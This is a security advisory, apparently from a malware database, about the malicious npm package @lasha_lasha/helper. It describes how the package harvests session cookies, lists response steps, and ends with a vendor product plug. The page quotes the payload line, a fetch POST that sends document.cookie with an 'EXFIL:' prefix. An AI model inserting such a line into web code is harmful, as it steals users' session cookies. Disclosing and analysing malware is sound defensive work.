@lasha_lasha/helpernpm
Advisory published Updated
@lasha_lasha/helper is a confirmed malicious npm package (MAL-2026-20191) that steals credentials and exfiltrates sensitive data (malicious version 1.0.0). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in @lasha_lasha/helper (npm)
What this malware does
The package's main entry contains a browser-targeted script that reads document.cookie and POSTs it with an 'EXFIL:' prefix to the relative URL /addPost (fetch('/addPost', { method:'POST', body: JSON.stringify({content: 'EXFIL:' + document.cookie}) })). The code has no legitimate library function; its only behavior is to harvest session cookies from whatever page it runs in and send them to a same-origin collector endpoint. Any consumer who bundles or injects this module into a web page would cause their users' session cookies to be exfiltrated.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Credential / info stealerFind it
Search your lockfiles and build artifacts for @lasha_lasha/helper (version 1.0.0).
If you installed it — respond
@lasha_lasha/helper is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If @lasha_lasha/helper was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks @lasha_lasha/helper-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.